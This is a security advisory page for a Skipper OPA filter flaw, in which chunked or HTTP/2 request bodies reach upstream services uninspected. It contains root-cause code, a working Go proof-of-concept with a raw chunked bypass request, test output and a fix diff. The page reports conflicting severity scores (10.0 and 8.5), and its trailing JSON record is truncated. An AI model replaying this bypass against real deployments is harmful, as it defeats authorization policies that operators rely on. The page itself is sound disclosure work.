CVE-2026-50197: Skipper OpaAuthorizeRequestWithBody Filter Bypasses OPA Policy Vulnerability

HIGH
Advisory Identifier: GHSA-659f-rgp5-w4wf
CVSS 10.0
CWE-444
Published
Advisory Summary

CVE-2026-50197 is a HIGH (CVSS 10.0) opaauthorizerequestwithbody filter bypasses opa policy vulnerability (CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')) affecting Skipper libraries in the Go ecosystem. The issue involves opaauthorizerequestwithbody filter bypasses opa policy on transfer-encoding — chunked / http/2 requests. Remediation is available by upgrading affected packages to version 0.26.10.

CVE-2026-50197 at a Glance

CVE Identifier CVE-2026-50197
GHSA Identifier GHSA-659f-rgp5-w4wf
Severity HIGH
CVSS v3.1 Base Score 10.0
CWE Classification CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling')
Affected Product Skipper
Package Ecosystem Go
Published Date
Last Updated

Security Impact

CVSS: 10.0

The security impact metrics below are parsed directly from the CVSS v3.1 vector string (CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N/E:U/RL:O).

Attack Vector Network (AV:N)
Attack Complexity Low (AC:L)
Privileges Required None (PR:N)
User Interaction None (UI:N)
Scope Changed (S:C)
Confidentiality High (C:H)
Integrity High (I:H)
Availability None (A:N)

How to Fix CVE-2026-50197

To remediate this vulnerability, upgrade all affected Skipper dependencies to a patched release. Both direct and transitive dependencies should be checked, as frameworks or security libraries may pull in vulnerable versions transitively.

github.com/zalando/skipper fixed: 0.26.10
Upgrade github.com/zalando/skipper to 0.26.10
Verify Direct and Transitive Dependencies

Run the following command in your project directory to verify that all resolved dependencies use the patched release:

inspect dependencies for github.com/zalando/skipper

How to Check if You Are Affected

To determine whether your application is affected by CVE-2026-50197, inspect your project dependencies for Skipper:

inspect dependencies for github.com/zalando/skipper

Analyze the terminal output to locate any version of Skipper in your dependency tree. If any resolved version matches the vulnerable ranges listed in the table below (for example, versions earlier than 0.26.10), your application is affected.

Note: Verify declared build manifests and deployed runtime container environments.

Technical Details

Vulnerability Mechanism & Technical Analysis

This vulnerability is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling'), where the product acts as an intermediary http agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed http requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination. In Skipper, software state validation or input boundaries are circumvented during processing. Review the official source advisory statement below for specific affected components, classes, and reproduction details.

Source Advisory Statement

### Summary `zalando/skipper`'s OpenPolicyAgent integration silently bypasses request-body inspection on HTTP/1.1 `Transfer-Encoding: chunked` and HTTP/2 requests that omit the `content-length` pseudo-header. When the `opaAuthorizeRequestWithBody` filter is configured, the `OpenPolicyAgentInstance.ExtractHttpBodyOptionally` helper produces an empty `raw_body` for any request whose `Content-Length` header is missing, while the underlying chunked body still flows through to the upstream service. Rego policies that gate on `input.parsed_body` (e.g. "deny when a forbidden field is present") evaluate against an empty document, treat the forbidden field as absent, and authorize the request. The upstream handler then receives the full attacker payload that the policy intended to block. ### Affected versions `github.com/zalando/skipper` versions `<= v0.26.8` (the latest release on 2026-05-26, current `master` `4eed47ff`). The vulnerable helper and gate have lived in `filters/openpolicyagent/openpolicyagent.go` since the buffered-body extractor was introduced; no released version contains the fix at the time of filing. ### Privilege required Unauthenticated network access to the skipper proxy listener. The threat model targets operators who place skipper in front of a private upstream and rely on `opaAuthorizeRequestWithBody` to enforce body-content checks (field allow/deny lists, payload schema gates, content-moderation flags, multi-tenant per-action authorization). Both HTTP/1.1 and HTTP/2 clients are affected; HTTP/2 traffic without a `content-length` pseudo-header is the dominant case because Go's `net/http` sets `http.Request.ContentLength = -1` for chunked HTTP/1.1 AND for HTTP/2 requests whose framing carries the body as DATA frames without an explicit length header. ### Root cause `filters/openpolicyagent/openpolicyagent.go:1242-1269` (HEAD `4eed47ff`): ```go func bodyUpperBound(contentLength, maxBodyBytes int64) int64 { if contentLength <= 0 { return maxBodyBytes } if contentLength < maxBodyBytes { return contentLength } return maxBodyBytes } func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) { body := req.Body if body != nil && !opa.EnvoyPluginConfig().SkipRequestBodyParse && req.ContentLength <= int64(opa.maxBodyBytes) { wrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize) requestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes) if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) { return req.Body, nil, func() {}, ErrTotalBodyBytesExceeded } rawBody, err := wrapper.fillBuffer(req.ContentLength) return wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err } return req.Body, nil, func() {}, nil } ``` `filters/openpolicyagent/openpolicyagent.go:1195-1210`: ```go func (m *bufferedBodyReader) fillBuffer(expectedSize int64) ([]byte, error) { var err error for err == nil && int64(m.bodyBuffer.Len()) < m.maxBufferSize && int64(m.bodyBuffer.Len()) < expectedSize { var n int n, err = m.input.Read(m.readBuffer) m.bodyBuffer.Write(m.readBuffer[:n]) } if err == io.EOF { err = nil } return m.bodyBuffer.Bytes(), err } ``` When the client sends `Transfer-Encoding: chunked` (HTTP/1.1) or an HTTP/2 request without `content-length`, Go's `net/http` server sets `req.ContentLength = -1`. The gate at line 1258 (`req.ContentLength <= int64(opa.maxBodyBytes)`) is true (`-1 <= positiveLimit`), so the body gets wrapped in `bufferedBodyReader`. `bodyUpperBound(-1, max)` returns `max`, so the memory semaphore is acquired, but `fillBuffer(-1)` then evaluates `int64(m.bodyBuffer.Len()) < expectedSize` as `0 < -1`, which is false on the first iteration. The loop never enters, the buffer stays empty, and the helper returns `[]byte{}` as `rawBody` to the caller. The caller in `filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest.go:121` hands this empty slice to `envoy.AdaptToExtAuthRequest` which puts it into `AttributeContext.Request.Http.RawBody`. The OPA SDK then exposes the empty buffer as both `input.attributes.request.http.raw_body` and the parsed `input.parsed_body` document (the latter becomes an empty/undefined value). Any Rego rule that asserts the presence of a forbidden field in `input.parsed_body` evaluates to undefined and fails into the rule's default (typically `allow`). Meanwhile, the wrapped `body` returned to the filter (`req.Body = body` at line 127 of `opaauthorizerequest.go`) is a `bufferedBodyReader` whose `Read()` falls through to the underlying `m.input.Read(p)` when the buffer is empty (lines 1212-1228). The upstream handler therefore reads the full attacker payload that OPA was never given a chance to inspect. ### Reproduction (E2E against pinned `github.com/zalando/skipper@v0.26.8`) GHSA advisories have no file-attachment mechanism, so the complete `poc_test.go` source and the verbatim `go test` output are inlined below. The PoC is a Go test placed in `filters/openpolicyagent/opaauthorizerequest/poc_test.go` inside a checkout of the `v0.26.8` tag, so it links against the exact released source. It boots a real skipper proxy via `proxytest.New`, configures it with the `opaAuthorizeRequestWithBody` filter pointing at an in-process `opasdktest.MustNewServer` bundle server, installs a Rego policy that DENIES requests whose body contains `admin=true`, and adds a tiny upstream that records the body it actually received. It then drives the proxy over a raw TCP socket (`net.DialTimeout` + `http.ReadResponse`) to control the wire framing precisely, sending three requests. `poc_test.go`: ```go package opaauthorizerequest // PoC: opaAuthorizeRequestWithBody OPA-bypass on chunked / HTTP2 framing. // // The filter's body extractor (filters/openpolicyagent/openpolicyagent.go, // ExtractHttpBodyOptionally) gates on `req.ContentLength <= maxBodyBytes` // and then calls fillBuffer(req.ContentLength). When the client sends the // body with Transfer-Encoding: chunked (HTTP/1.1) or via HTTP/2 without a // declared length, net/http sets req.ContentLength = -1. The gate passes // (-1 <= max) but fillBuffer's loop condition `len(buf) < expectedSize(-1)` // is immediately false, so the buffered body is EMPTY. OPA therefore sees an // empty input.parsed_body, a deny-policy that keys on the body fails open, // and the full attacker body is forwarded upstream. // // This test boots a real skipper proxy (proxytest) with the // opaAuthorizeRequestWithBody filter pointed at an in-process OPA bundle // server (opasdktest) hosting a deny-when-admin=true policy, plus a tiny // upstream that records the body it actually received. It then drives the // proxy over a raw TCP socket to control the wire framing precisely. import ( "bufio" "fmt" "io" "net" "net/http" "net/http/httptest" "strings" "sync" "testing" "time" opasdktest "github.com/open-policy-agent/opa/v1/sdk/test" "github.com/zalando/skipper/eskip" "github.com/zalando/skipper/filters" "github.com/zalando/skipper/filters/builtin" "github.com/zalando/skipper/proxy/proxytest" "github.com/zalando/skipper/tracing/tracingtest" "github.com/zalando/skipper/filters/openpolicyagent" ) // rawRequest opens a fresh TCP connection to addr, writes wire verbatim, and // returns the parsed HTTP response. func rawRequest(t *testing.T, addr, wire string) *http.Response { t.Helper() conn, err := net.DialTimeout("tcp", addr, 5*time.Second) if err != nil { t.Fatalf("dial %s: %v", addr, err) } defer conn.Close() _ = conn.SetDeadline(time.Now().Add(10 * time.Second)) if _, err := io.WriteString(conn, wire); err != nil { t.Fatalf("write wire: %v", err) } resp, err := http.ReadResponse(bufio.NewReader(conn), nil) if err != nil { t.Fatalf("read response: %v", err) } // Drain so the body received by upstream is flushed before we inspect it. _, _ = io.Copy(io.Discard, resp.Body) _ = resp.Body.Close() return resp } func TestSkipperOPABypassPoC(t *testing.T) { // Upstream records, per request, the body bytes it actually received. var mu sync.Mutex var upstreamBodies []string upstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) { b, _ := io.ReadAll(r.Body) mu.Lock() upstreamBodies = append(upstreamBodies, string(b)) mu.Unlock() w.WriteHeader(http.StatusOK) _, _ = w.Write([]byte("UPSTREAM-REACHED")) })) defer upstream.Close() // OPA bundle: allow by default, deny only when the parsed body says admin==true. opaControlPlane := opasdktest.MustNewServer( opasdktest.MockBundle("/bundles/test", map[string]string{ "main.rego": ` package envoy.authz import rego.v1 default allow := true allow := false if { input.parsed_body.admin == true } `, }), ) defer opaControlPlane.Stop() config := fmt.Appendf(nil, `{ "services": { "test": { "url": %q } }, "bundles": { "test": { "resource": "/bundles/{{ .bundlename }}" } }, "labels": { "environment": "test" }, "plugins": { "envoy_ext_authz_grpc": { "path": "envoy/authz/allow", "dry-run": false } } }`, opaControlPlane.URL()) opts := []func(*openpolicyagent.OpenPolicyAgentInstanceConfig) error{ openpolicyagent.WithConfigTemplate(config), } opaFactory, err := openpolicyagent.NewOpenPolicyAgentRegistry( openpolicyagent.WithTracer(tracingtest.NewTracer()), openpolicyagent.WithOpenPolicyAgentInstanceConfig(opts...), ) if err != nil { t.Fatalf("registry: %v", err) } fr := make(filters.Registry) fr.Register(NewOpaAuthorizeRequestWithBodySpec(opaFactory)) fr.Register(builtin.NewSetPath()) // Route: every request runs opaAuthorizeRequestWithBody, then proxies to upstream. r := eskip.MustParse(fmt.Sprintf( `* -> opaAuthorizeRequestWithBody("test") -> "%s"`, upstream.URL)) proxy := proxytest.New(fr, r...) defer proxy.Close() host := strings.TrimPrefix(proxy.URL, "http://") type tc struct { name string wire string wantStatus int wantUpstrm bool // whether upstream is expected to be reached } cases := []tc{ { name: "1: Content-Length benign body -> 200 ALLOW", wire: "POST /priv HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Content-Type: application/json\r\n" + "Connection: close\r\n" + "Content-Length: 15\r\n" + "\r\n" + `{"admin":false}`, wantStatus: 200, wantUpstrm: true, }, { name: "2: Content-Length admin body -> 403 DENY (negative control)", wire: "POST /priv HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Content-Type: application/json\r\n" + "Connection: close\r\n" + "Content-Length: 14\r\n" + "\r\n" + `{"admin":true}`, wantStatus: 403, wantUpstrm: false, }, { name: "3: chunked admin body -> EXPECTED 403, BUG 200 (bypass)", wire: "POST /priv HTTP/1.1\r\n" + "Host: " + host + "\r\n" + "Content-Type: application/json\r\n" + "Connection: close\r\n" + "Transfer-Encoding: chunked\r\n" + "\r\n" + "e\r\n" + `{"admin":true}` + "\r\n" + "0\r\n" + "\r\n", wantStatus: 200, // documents the BUG: should be 403 but the bypass yields 200 wantUpstrm: true, }, } for _, c := range cases { mu.Lock() before := len(upstreamBodies) mu.Unlock() resp := rawRequest(t, host, c.wire) mu.Lock() reached := len(upstreamBodies) > before var lastBody string if reached { lastBody = upstreamBodies[len(upstreamBodies)-1] } mu.Unlock() t.Logf("[%s] status=%d upstreamReached=%v upstreamBody=%q", c.name, resp.StatusCode, reached, lastBody) if resp.StatusCode != c.wantStatus { t.Errorf("[%s] status = %d, want %d", c.name, resp.StatusCode, c.wantStatus) } if reached != c.wantUpstrm { t.Errorf("[%s] upstreamReached = %v, want %v", c.name, reached, c.wantUpstrm) } } // Explicit bypass assertion: the chunked admin body MUST have reached // upstream verbatim despite the deny policy. mu.Lock() defer mu.Unlock() bypassed := false for _, b := range upstreamBodies { if b == `{"admin":true}` { bypassed = true } } if bypassed { t.Logf("BYPASS CONFIRMED: upstream received {\"admin\":true} despite deny policy (OPA saw empty parsed_body for the chunked request)") } else { t.Errorf("expected the chunked admin body to reach upstream (bypass), but it did not") } } ``` The three requests cover: | # | Wire framing | Body | Expected | Got | |---|--------------|------|----------|-----| | 1 | `Content-Length: 15` | `{"admin":false}` | 200 ALLOW | 200 (upstream reached) | | 2 | `Content-Length: 14` | `{"admin":true}` | 403 DENY | 403 (OPA blocked) | | 3 | `Transfer-Encoding: chunked` | `{"admin":true}` | 403 DENY | **200 ALLOW (bypass)** | Test 3 wire bytes: `POST /priv HTTP/1.1\r\nHost: ...\r\nContent-Type: application/json\r\nConnection: close\r\nTransfer-Encoding: chunked\r\n\r\ne\r\n{"admin":true}\r\n0\r\n\r\n`. Run command and verbatim output (`go version go1.26.3 darwin/arm64`, `github.com/open-policy-agent/opa v1.14.1` as pinned by skipper `v0.26.8`): ``` $ go test -v -run TestSkipperOPABypassPoC -count=1 ./filters/openpolicyagent/opaauthorizerequest/ === RUN TestSkipperOPABypassPoC 2026/05/28 14:43:47 route settings, reset, route: : * -> opaAuthorizeRequestWithBody("test") -> "http://127.0.0.1:57343" 2026/05/28 14:43:47 route settings received, id: 1 time="2026-05-28T14:43:47+08:00" level=info msg="Starting OPA instance..." bundle-name=test time="2026-05-28T14:43:47+08:00" level=info msg="OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \"\"} discovery:{NOT_READY \"\"} envoy_ext_authz_grpc:{OK \"\"}]" bundle-name=test time="2026-05-28T14:43:47+08:00" level=info msg="OPA instance health updated: healthy=false status=map[bundle:{NOT_READY \"\"} discovery:{OK \"\"} envoy_ext_authz_grpc:{OK \"\"}]" bundle-name=test time="2026-05-28T14:43:47+08:00" level=info msg="OPA instance health updated: healthy=true status=map[bundle:{OK \"\"} discovery:{OK \"\"} envoy_ext_authz_grpc:{OK \"\"}]" bundle-name=test 2026/05/28 14:43:47 route settings applied, id: 1 poc_test.go:211: [1: Content-Length benign body -> 200 ALLOW] status=200 upstreamReached=true upstreamBody="{\"admin\":false}" poc_test.go:211: [2: Content-Length admin body -> 403 DENY (negative control)] status=403 upstreamReached=false upstreamBody="" poc_test.go:211: [3: chunked admin body -> EXPECTED 403, BUG 200 (bypass)] status=200 upstreamReached=true upstreamBody="{\"admin\":true}" poc_test.go:233: BYPASS CONFIRMED: upstream received {"admin":true} despite deny policy (OPA saw empty parsed_body for the chunked request) --- PASS: TestSkipperOPABypassPoC (0.11s) PASS ok github.com/zalando/skipper/filters/openpolicyagent/opaauthorizerequest 1.897s ``` Test 1 (Content-Length, benign body) is allowed and reaches upstream with `{"admin":false}`. Test 2 is the negative control: the same `{"admin":true}` payload sent with a `Content-Length` header is correctly DENIED (HTTP 403) and never reaches the upstream, proving the policy itself is sound. Test 3 sends the identical forbidden body as `Transfer-Encoding: chunked`; OPA evaluates an empty `parsed_body`, the deny rule fails open, the proxy returns HTTP 200, and the upstream receives the full `{"admin":true}` payload that the policy was configured to block. ### Impact Operators relying on `opaAuthorizeRequestWithBody` for body-content authorization are silently downgraded to header/path-only authorization for any client that emits chunked or HTTP/2 requests. Concrete production patterns affected: - "Deny when body contains admin/privileged field" guardrails for multi-tenant or role-stratified APIs; - "Deny when content-moderation flag is present" filters in front of user-content endpoints; - "Deny when payload schema version is forbidden" gates for deprecated-API shutdown; - "Deny when SQL/command-injection-shaped string is present" generic body validators. In every case the chunked attack arrives with the forbidden body intact, OPA evaluates against an empty document, the policy fails open, and the upstream receives the attacker payload that the deployment was specifically configured to block. There is no log signal in OPA's decision log distinguishing "body was empty" from "client did not send a body". Note that the OPA decision log will record the request as ALLOWED with `raw_body` length 0, which complicates post-hoc forensic detection. The upstream's request log will show the full body, producing a confusing allow/observed asymmetry across systems. CVSS 3.1: `AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N` (8.5 HIGH). Scope is Changed because the failure crosses the trust boundary between the authorization filter and the upstream service. ### Suggested fix `filters/openpolicyagent/openpolicyagent.go`: ```diff func (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) { body := req.Body + // `req.ContentLength == -1` is set by net/http when the client uses + // Transfer-Encoding: chunked (HTTP/1.1) or omits content-length in + // HTTP/2 framing. Treat unknown-length bodies as up-to-max-bytes and + // drive fillBuffer with the policy cap instead of the negative + // sentinel, otherwise the fillBuffer loop short-circuits on its + // `len < expectedSize` predicate and OPA evaluates an empty body. + expectedSize := req.ContentLength + if expectedSize < 0 { + expectedSize = opa.maxBodyBytes + } + if body != nil && !opa.EnvoyPluginConfig().SkipRequestBodyParse && - req.ContentLength <= int64(opa.maxBodyBytes) { + expectedSize <= int64(opa.maxBodyBytes) { wrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize) - requestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes) + requestedBodyBytes := bodyUpperBound(expectedSize, opa.maxBodyBytes) if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) { return req.Body, nil, func() {}, ErrTotalBodyBytesExceeded } - rawBody, err := wrapper.fillBuffer(req.ContentLength) + rawBody, err := wrapper.fillBuffer(expectedSize) return wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err } return req.Body, nil, func() {}, nil } ``` After the fix, `fillBuffer(maxBodyBytes)` reads chunked bodies up to the configured cap. If the body exceeds the cap, the existing `Read()` path already returns the wrapped reader for downstream consumption, matching the documented behaviour for over-cap requests today; the operator-configured `maxRequestBodyBytes` continues to be the single knob governing memory allocation. A regression test `TestOpaAuthorizeRequestWithBody_ChunkedBodyIsParsed` in `filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest_test.go` should send a `Transfer-Encoding: chunked` request matching a blacklist policy and assert HTTP 403, and a same-payload Content-Length request to confirm parity. ### Credit Reported by tonghuaroot.

CVE-2026-50197 Affected Skipper Versions

1 component(s)
Fixed Versions:
0.26.10
Product / Package Ecosystem Affected Versions Fixed Version
github.com/zalando/skipper
Go
< 0.26.10
0.26.10

References

Frequently Asked Questions

What is CVE-2026-50197?
CVE-2026-50197 is a security vulnerability in Skipper involving opaAuthorizeRequestWithBody filter bypasses OPA policy on Transfer-Encoding — chunked / HTTP/2 requests under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling').
Which Skipper versions are affected?
Affected versions include releases prior to 0.26.10 across affected packages: github.com/zalando/skipper.
What version fixes CVE-2026-50197?
Upgrading to 0.26.10 (or the latest patched release for your respective branch) resolves the vulnerability.
Is github.com/zalando/skipper affected?
Yes, github.com/zalando/skipper is affected in releases prior to 0.26.10. Upgrade your dependency to 0.26.10 or later.
What is the CVSS score of CVE-2026-50197?
CVE-2026-50197 has a CVSS v3.1 base score of 10.0 (HIGH) with vector string CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:H/I:H/A:N/E:U/RL:O.
What CWE is associated with CVE-2026-50197?
CVE-2026-50197 is classified under CWE-444: Inconsistent Interpretation of HTTP Requests ('HTTP Request/Response Smuggling') (The product acts as an intermediary HTTP agent (such as a proxy or firewall) in the data flow between two entities such as a client and server, but it does not interpret malformed HTTP requests or responses in ways that are consistent with how the messages will be processed by those entities that are at the ultimate destination.).
How can I check Go dependencies for CVE-2026-50197?
Run the dependency tree command: 'inspect dependencies for github.com/zalando/skipper'. This command lists direct and transitive dependencies in your build configuration so you can verify if a vulnerable version is resolved.
Machine-readable OSV JSON OSV v1.5 Schema
Normalized schema output
{
  "schema_version" : "1.4.0",
  "id" : "GHSA-659f-rgp5-w4wf",
  "modified" : "2026-07-08T20:23:44Z",
  "published" : "2026-07-08T20:23:44Z",
  "aliases" : [ "CVE-2026-50197" ],
  "summary" : "Skipper: opaAuthorizeRequestWithBody filter bypasses OPA policy on Transfer-Encoding — chunked / HTTP/2 requests",
  "details" : "### Summary\n\n`zalando/skipper`'s OpenPolicyAgent integration silently bypasses request-body\ninspection on HTTP/1.1 `Transfer-Encoding: chunked` and HTTP/2 requests that\nomit the `content-length` pseudo-header. When the\n`opaAuthorizeRequestWithBody` filter is configured, the\n`OpenPolicyAgentInstance.ExtractHttpBodyOptionally` helper produces an\nempty `raw_body` for any request whose `Content-Length` header is missing,\nwhile the underlying chunked body still flows through to the upstream\nservice. Rego policies that gate on `input.parsed_body` (e.g. \"deny when a\nforbidden field is present\") evaluate against an empty document, treat the\nforbidden field as absent, and authorize the request. The upstream handler\nthen receives the full attacker payload that the policy intended to block.\n\n### Affected versions\n\n`github.com/zalando/skipper` versions `<= v0.26.8` (the latest release on\n2026-05-26, current `master` `4eed47ff`). The vulnerable helper and gate\nhave lived in `filters/openpolicyagent/openpolicyagent.go` since the\nbuffered-body extractor was introduced; no released version contains the\nfix at the time of filing.\n\n### Privilege required\n\nUnauthenticated network access to the skipper proxy listener. The threat\nmodel targets operators who place skipper in front of a private upstream\nand rely on `opaAuthorizeRequestWithBody` to enforce body-content checks\n(field allow/deny lists, payload schema gates, content-moderation flags,\nmulti-tenant per-action authorization). Both HTTP/1.1 and HTTP/2 clients\nare affected; HTTP/2 traffic without a `content-length` pseudo-header is\nthe dominant case because Go's `net/http` sets\n`http.Request.ContentLength = -1` for chunked HTTP/1.1 AND for HTTP/2\nrequests whose framing carries the body as DATA frames without an explicit\nlength header.\n\n### Root cause\n\n`filters/openpolicyagent/openpolicyagent.go:1242-1269` (HEAD `4eed47ff`):\n\n```go\nfunc bodyUpperBound(contentLength, maxBodyBytes int64) int64 {\n    if contentLength <= 0 {\n        return maxBodyBytes\n    }\n    if contentLength < maxBodyBytes {\n        return contentLength\n    }\n    return maxBodyBytes\n}\n\nfunc (opa *OpenPolicyAgentInstance) ExtractHttpBodyOptionally(req *http.Request) (io.ReadCloser, []byte, func(), error) {\n    body := req.Body\n    if body != nil && !opa.EnvoyPluginConfig().SkipRequestBodyParse &&\n        req.ContentLength <= int64(opa.maxBodyBytes) {\n        wrapper := newBufferedBodyReader(req.Body, opa.maxBodyBytes, opa.bodyReadBufferSize)\n        requestedBodyBytes := bodyUpperBound(req.ContentLength, opa.maxBodyBytes)\n        if !opa.registry.maxMemoryBodyParsingSem.TryAcquire(requestedBodyBytes) {\n            return req.Body, nil, func() {}, ErrTotalBodyBytesExceeded\n        }\n        rawBody, err := wrapper.fillBuffer(req.ContentLength)\n        return wrapper, rawBody, func() { opa.registry.maxMemoryBodyParsingSem.Release(requestedBodyBytes) }, err\n    }\n    return req.Body, nil, func() {}, nil\n}\n```\n\n`filters/openpolicyagent/openpolicyagent.go:1195-1210`:\n\n```go\nfunc (m *bufferedBodyReader) fillBuffer(expectedSize int64) ([]byte, error) {\n    var err error\n    for err == nil && int64(m.bodyBuffer.Len()) < m.maxBufferSize && int64(m.bodyBuffer.Len()) < expectedSize {\n        var n int\n        n, err = m.input.Read(m.readBuffer)\n        m.bodyBuffer.Write(m.readBuffer[:n])\n    }\n    if err == io.EOF { err = nil }\n    return m.bodyBuffer.Bytes(), err\n}\n```\n\nWhen the client sends `Transfer-Encoding: chunked` (HTTP/1.1) or an\nHTTP/2 request without `content-length`, Go's `net/http` server sets\n`req.ContentLength = -1`. The gate at line 1258 (`req.ContentLength <=\nint64(opa.maxBodyBytes)`) is true (`-1 <= positiveLimit`), so the body\ngets wrapped in `bufferedBodyReader`. `bodyUpperBound(-1, max)` returns\n`max`, so the memory semaphore is acquired, but `fillBuffer(-1)` then\nevaluates `int64(m.bodyBuffer.Len()) < expectedSize` as `0 < -1`, which\nis false on the first iteration. The loop never enters, the buffer stays\nempty, and the helper returns `[]byte{}` as `rawBody` to the caller.\n\nThe caller in\n`filters/openpolicyagent/opaauthorizerequest/opaauthorizerequest.go:121`\nhands this empty slice to `envoy.AdaptToExtAuthRequest` which puts it\ninto `AttributeContext.Request.Http.RawBody`. The OPA SDK then exposes\nthe empty buffer as both `input.attributes.request.http.raw_body` and\nthe parsed `input.parsed_body` document (the latter becomes an\nempty/undefined value). Any Rego rule that asserts the presence of a\nforbidden field in `input.parsed_body` evaluates to undefined and fails\ninto the rule's default (typically `allow`).\n\nMeanwhile, the wrapped `body` returned to the filter (`req.Body = body`\nat line 127 of `opaauthorizerequest.go`) is a `bufferedBodyReader` whose\n`Read()` falls through to the underlying `m.input.Read(p)` when the\nbuffer is empty (lines 1212-1228). The upstream handler therefore reads\nthe full attacker payload that OPA was never given a chance to inspect.\n\n### Reproduction (E2E against pinned `github.com/zalando/skipper@v0.26.8`)\n\nGHSA advisories have no file-attachment mechanism, so the complete\n`poc_test.go` source and the verbatim `go test` output are inlined below.\n\nThe PoC is a Go test placed in\n`filters/openpolicyagent/opaauthorizerequest/poc_test.go` inside a checkout\nof the `v0.26.8` tag, so it links against the exact released source. It\nboots a real skipper proxy via `proxytest.New`, configures it with the\n`opaAuthorizeRequestWithBody` filter pointing at an in-process\n`opasdktest.MustNewServer` bundle server, installs a Rego policy that\nDENIES requests whose body contains `admin=true`, and adds a tiny upstream\nthat records the body it actually received. It then drives the proxy over a\nraw TCP socket (`net.DialTimeout` + `http.ReadResponse`) to control the\nwire framing precisely, sending three requests.\n\n`poc_test.go`:\n\n```go\npackage opaauthorizerequest\n\n// PoC: opaAuthorizeRequestWithBody OPA-bypass on chunked / HTTP2 framing.\n//\n// The filter's body extractor (filters/openpolicyagent/openpolicyagent.go,\n// ExtractHttpBodyOptionally) gates on `req.ContentLength <= maxBodyBytes`\n// and then calls fillBuffer(req.ContentLength). When the client sends the\n// body with Transfer-Encoding: chunked (HTTP/1.1) or via HTTP/2 without a\n// declared length, net/http sets req.ContentLength = -1. The gate passes\n// (-1 <= max) but fillBuffer's loop condition `len(buf) < expectedSize(-1)`\n// is immediately false, so the buffered body is EMPTY. OPA therefore sees an\n// empty input.parsed_body, a deny-policy that keys on the body fails open,\n// and the full attacker body is forwarded upstream.\n//\n// This test boots a real skipper proxy (proxytest) with the\n// opaAuthorizeRequestWithBody filter pointed at an in-process OPA bundle\n// server (opasdktest) hosting a deny-when-admin=true policy, plus a tiny\n// upstream that records the body it actually received. It then drives the\n// proxy over a raw TCP socket to control the wire framing precisely.\n\nimport (\n\t\"bufio\"\n\t\"fmt\"\n\t\"io\"\n\t\"net\"\n\t\"net/http\"\n\t\"net/http/httptest\"\n\t\"strings\"\n\t\"sync\"\n\t\"testing\"\n\t\"time\"\n\n\topasdktest \"github.com/open-policy-agent/opa/v1/sdk/test\"\n\t\"github.com/zalando/skipper/eskip\"\n\t\"github.com/zalando/skipper/filters\"\n\t\"github.com/zalando/skipper/filters/builtin\"\n\t\"github.com/zalando/skipper/proxy/proxytest\"\n\t\"github.com/zalando/skipper/tracing/tracingtest\"\n\n\t\"github.com/zalando/skipper/filters/openpolicyagent\"\n)\n\n// rawRequest opens a fresh TCP connection to addr, writes wire verbatim, and\n// returns the parsed HTTP response.\nfunc rawRequest(t *testing.T, addr, wire string) *http.Response {\n\tt.Helper()\n\tconn, err := net.DialTimeout(\"tcp\", addr, 5*time.Second)\n\tif err != nil {\n\t\tt.Fatalf(\"dial %s: %v\", addr, err)\n\t}\n\tdefer conn.Close()\n\t_ = conn.SetDeadline(time.Now().Add(10 * time.Second))\n\n\tif _, err := io.WriteString(conn, wire); err != nil {\n\t\tt.Fatalf(\"write wire: %v\", err)\n\t}\n\n\tresp, err := http.ReadResponse(bufio.NewReader(conn), nil)\n\tif err != nil {\n\t\tt.Fatalf(\"read response: %v\", err)\n\t}\n\t// Drain so the body received by upstream is flushed before we inspect it.\n\t_, _ = io.Copy(io.Discard, resp.Body)\n\t_ = resp.Body.Close()\n\treturn resp\n}\n\nfunc TestSkipperOPABypassPoC(t *testing.T) {\n\t// Upstream records, per request, the body bytes it actually received.\n\tvar mu sync.Mutex\n\tvar upstreamBodies []string\n\tupstream := httptest.NewServer(http.HandlerFunc(func(w http.ResponseWriter, r *http.Request) {\n\t\tb, _ := io.ReadAll(r.Body)\n\t\tmu.Lock()\n\t\tupstreamBodies = append(upstreamBodies, string(b))\n\t\tmu.Unlock()\n\t\tw.WriteHeader(http.StatusOK)\n\t\t_, _ = w.Write([]byte(\"UPSTREAM-REACHED\"))\n\t}))\n\tdefer upstream.Close()\n\n\t// OPA bundle: allow by default, deny only when the parsed body says admin==true.\n\topaControlPlane := opasdktest.MustNewServer(\n\t\topasdktest.MockBundle(\"/bundles/test\", map[string]string{\n\t\t\t\"main.rego\": `\n\t\t\t\tpackage envoy.authz\n\n\t\t\t\timport rego.v1\n\n\t\t\t\tdefault allow := true\n\n\t\t\t\tallow := false if {\n\t\t\t\t\tinput.parsed_body.admin == true\n\t\t\t\t}\n\t\t\t`,\n\t\t}),\n\t)\n\tdefer opaControlPlane.Stop()\n\n\tconfig := fmt.Appendf(nil, `{\n\t\t\"services\": {\n\t\t\t\"test\": {\n\t\t\t\t\"url\": 